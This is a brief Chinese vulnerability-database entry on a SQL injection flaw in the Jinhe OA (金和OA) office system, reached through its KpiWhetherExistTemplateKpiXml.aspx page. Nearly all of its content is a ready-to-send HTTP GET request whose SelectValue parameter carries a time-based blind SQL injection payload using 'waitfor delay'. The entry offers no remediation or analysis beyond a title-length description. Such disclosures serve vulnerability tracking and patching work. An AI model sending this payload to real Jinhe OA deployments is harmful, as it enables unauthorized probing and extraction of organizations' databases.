金和OA KpiWhetherExistTemplateKpiXml.aspx SQL注入漏洞

日期: 2025-10-31 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA KpiWhetherExistTemplateKpiXml.aspx SQL注入漏洞

PoC代码

GET /c6/Jhsoft.Web.Appraise/KpiWhetherExistTemplateKpiXml.aspx/?SelectValue=1%29%29waitfor+delay%270%3A0%3A8%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

相关漏洞推荐